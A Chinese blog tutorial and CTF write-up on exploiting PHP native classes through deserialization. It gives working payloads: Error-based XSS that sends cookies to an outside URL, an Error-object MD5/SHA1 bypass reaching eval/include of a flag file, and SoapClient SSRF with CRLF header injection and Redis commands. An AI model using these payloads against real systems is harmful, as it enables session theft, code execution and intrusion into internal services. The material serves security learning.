0%

php原生类的利用

这一篇的主要内容是php中的一些原生类的原理及其利用,目前只记录了Error(Exception类与其大致相同只是php版本不同)和SoapClient这两个原生类。

php中的内置类

Error类

Error 是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的。

类摘要:

Error implements Throwable {
/* 属性 */
protected string $message ; #错误消息内容
protected int $code ; #错误代码
protected string $file ; #抛出错误的文件名
protected int $line ; #抛出错误在该文件中的行数
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string #获取错误信息
final public getPrevious ( ) : Throwable #返回先前的 Throwable
final public getCode ( ) : mixed #获取错误代码
final public getFile ( ) : string #获取错误发生时的文件
final public getLine ( ) : int #获取错误发生时的行号
final public getTrace ( ) : array #获取调用栈(stack trace)
final public getTraceAsString ( ) : string #获取字符串形式的调用栈(stack trace)
public __toString ( ) : string #error 的字符串表达
final private __clone ( ) : void #克隆 error
}

__toString方法

__toString方法用于当一个类被当作字符串时该怎样回应。例如当echo一个类时,便出现了错误,但该怎样去处理这个问题呢?该方法会将错误或异常对象转换为字符串。

SoapClient类

PHP的内置类SoapClient是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的PHP客户端。

类摘要:

SoapClient {
/* 方法 */
public __construct ( string|null $wsdl , array $options = [] )
public __call ( string $name , array $args ) : mixed
public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
public __getCookies ( ) : array
public __getFunctions ( ) : array|null
public __getLastRequest ( ) : string|null
public __getLastRequestHeaders ( ) : string|null
public __getLastResponse ( ) : string|null
public __getLastResponseHeaders ( ) : string|null
public __getTypes ( ) : array|null
public __setCookie ( string $name , string|null $value = null ) : void
public __setLocation ( string $location = "" ) : string|null
public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}

__call方法

该类的__call方法被触发后,可以发送HTTP和HTTPS请求。其构造函数如下:

public SoapClient::SoapClient(mixed $wsdl [, arry $options ])
  1. 第一个参数用来指明是否是wsdl模式,将该值设置为null则表示非wsdl模式。
  2. 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri是SOAP服务的目标命名空间。

使用Error/Exception类进行XSS

注意:

  • 要在开启报错的前提下。
  • Error只适用于php7,Exception适用于php 5或7

通常在反序列化中,如果有个POP链走到一半就走不通了,不如尝试利用Error/Exception类的__toString()方法来做一个xss。

xss演示

测试代码:

<?php 
$a = $_GET['Ming'];
echo unserialize($a);

POC:

<?php 
$a = new Error("<script>alert('Tong')</script>");
echo urlencode(serialize($a));
//输出:
'''O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A30%3A%22%3Cscript%3Ealert%28%27Tong%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A69%3A%22D%3A%5Cweb_soft_home%5Cphpstudy_pro%5CWWW%5Ceclipse_workspace%5Cfirstpro%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D'''

成功弹窗

image-20250123211130604

[BJDCTF 2nd]xss之光

先Git泄漏,得到如下内容:

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

一个GET传参一个反序列化函数,可能是反序列化但是连一个类也不给,无法构造POP链啊,这时候就要想到利用php内置类来打了

不过这道题明说了是xss,有关xss的题flag一般都在Cookie中,所以可以直接document.Cookie运行,flag就出来了。

image-20250123213358078

不过这种情况很少见,还是学一个正经点的方法:利用php内置类反序列化打xss

xss的payload构造

window.open()打开新窗口

url = 'http://ed527973-7ba3-455a-b532-de236f21b2a9.node5.buuoj.cn'
<script>window.open(url+document.cookie);</script>

window.location.href实现恶意跳转

<script>window.location.href=url+document.cookie;</script>

POC如下:

<?php 
$a = new Error("<script>window.open('http://ed527973-7ba3-455a-b532-de236f21b2a9.node5.buuoj.cn'+document.cookie);</script>");
echo urlencode(serialize($a));

然后直接访问下面的URL即可

http://ed527973-7ba3-455a-b532-de236f21b2a9.node5.buuoj.cn:81/?yds_is_so_beautiful=O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A109%3A%22%3Cscript%3Ewindow.open%28%27http%3A%2F%2Fed527973-7ba3-455a-b532-de236f21b2a9.node5.buuoj.cn%2F%3F%27%2Bdocument.cookie%29%3B%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A69%3A%22D%3A%5Cweb_soft_home%5Cphpstudy_pro%5CWWW%5Ceclipse_workspace%5Cfirstpro%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

使用Error/Exception类绕过哈希比较

原理分析

已知Error和Exception类的__toString方法会将错误或异常对象转换为字符串,现在来将这个字符串输出:

<?php
$a = new Error("hhh",1); //“hhh”是错误内容,第二个参数1是错误代码
echo $a;

输出结果:

Error: hhh in D:\web_soft_home\phpstudy_pro\WWW\eclipse_workspace\firstpro\test.php:2
Stack trace:
#0 {main}

发现输出的字符串包含当前的错误信息内容、错误文件的绝对路径、错误所在行号,而我们设置的错误代码code并没有被输出。

看下一个例子:

<?php 
$a=new Error("hhh",1);$b=new Error("hhh",2);
echo $a."\n".$b;

输出结果:

Error: hhh in D:\web_soft_home\phpstudy_pro\WWW\eclipse_workspace\firstpro\test.php:2
Stack trace:
#0 {main}
Error: hhh in D:\web_soft_home\phpstudy_pro\WWW\eclipse_workspace\firstpro\test.php:2
Stack trace:
#0 {main}

发现如果异常内容和所在行号一样,即使错误代码不一样,最后输出的报错字符串也是一样的。当然这两个错误对象本身是不一样的,只是通过__toString方法转换成的字符串是一样的。

Exception类与Error的使用和结果完全一样,只不过Exception类适用于PHP 5和7,而Error只适用于PHP 7。

[极客大挑战 2020]Greatphp

源码:

<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
  1. 绕过md5()sha1()

md5()sha1()可以对一个类进行hash并触发这个类的__toString方法,当eval()函数的参数是一个类对象时,也会触发这个类的__toString()方法。

所以我们可以使用含有__toString方法的PHP内置类来绕过,用的两个比较多的内置类就是ExceptionError,他们之中有一个__toString方法,当类被当做字符串处理时,就会调用这个函数。

  1. 构造payload:

过滤了小括号无法调用函数,这里利用include "/flag"将flag文件包含进来即可。由于又过滤了双引号,可以对"/flag"利用取反绕过,因为有不可见字符所以再url一下更好。

对于Error和Exception类的__toString方法将错误信息转换成字符串payload后,进入eval()函数会类似于:eval("...Error: payload")。所以我们要用?>来闭合一下,即 eval("...Error: ?><?php payload ?>"),这样我们的payload便能顺利执行了。

$payload = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";

POC如下:

<?php
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
$payload = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a = new SYCLOVER();
$a->syc=new Error($payload,1);$a->lover=new Error($payload,2);
echo urlencode(serialize($a));
?>

得到flag

image-20250123194029905

使用SoapClient类进行SSRF

漏洞利用演示

构造SSRF利用的exp:

<?php 
$a = new SoapClient(null,array('location'=>'http://192.168.130.7:2333/', 'uri'=>'Ming'));
echo serialize($a);
#输出:
#O:10:"SoapClient":4:{s:3:"uri";s:4:"Ming";s:8:"location";s:26:"http://192.168.130.7:2333/";s:15:"_stream_context";i:0;s:13:"_soap_version";i:1;}

触发漏洞:

$b = unserialize('O:10:"SoapClient":4:{s:3:"uri";s:4:"Ming";s:8:"location";s:26:"http://192.168.130.7:2333/";s:15:"_stream_context";i:0;s:13:"_soap_version";i:1;}');
$b->c(); #调用SoapClient中没有的方法,触发SoapClient类的__call

在192.168.130.7上面监听,然后运行上面代码,成功触发SSRF,192.168.130.7上面收到了请求信息。

image-20250128013521279

结合CRLF注入利用

在User_Agent头部注入

<?php
$location = "http://192.168.130.7:2333/";
$agent = "OneBrowser\r\nCookie: PHPSESSID=5799";
$uri = "Ming";
$a = new SoapClient(null,array('location'=>$location, 'user_agent'=>$agent, 'uri'=>$uri));
$b = serialize($a);
unserialize($b)->c();

image-20250128204822975

发送POST数据包

在HTTP协议中,HTTP Header 部分与 HTTP Body 部分是用两个CRLF分隔的,所以我们要发送 POST 数据就要插入两个CRLF。

对于如何发送POST的数据包,这里面还有一个坑,就是Content-Type的设置,因为我们要提交的是POST数据,所以Content-Type的值我们要设置为application/x-www-form-urlencoded,这里如何修改Content-Type的值呢?由于Content-Type在User-Agent的下面,所以我们可以通过SoapClient来设置User-Agent,将原来的Content-Type挤下去,从而再插入一个新的Content-Type。

exp如下:

$location = 'http://192.168.130.7:2333/';
$post_data = 'data=whoami';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$agent = 'WHOAMI^^Content-Type: application/x-www-form-urlencoded^^';
$user_agent = $agent.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data;
$a = new SoapClient(null,array('location' => $location,'user_agent'=>$user_agent,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);
unserialize($b)->c();

查看监听到的数据,成功注入POST包:

image-20250128221510051

与Redis结合

可以再结合通过HTTP协议去攻击Redis来利用,exp如下:

<?php
$location = 'http://192.168.130.7:2333/';
$payload = "CONFIG SET dir /var/www/html";
$a = new SoapClient(null,array('location'=>$location, 'uri'=>'hello^^'.$payload.'^^hello'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf

参考文章:

https://xz.aliyun.com/news/8792#toc-0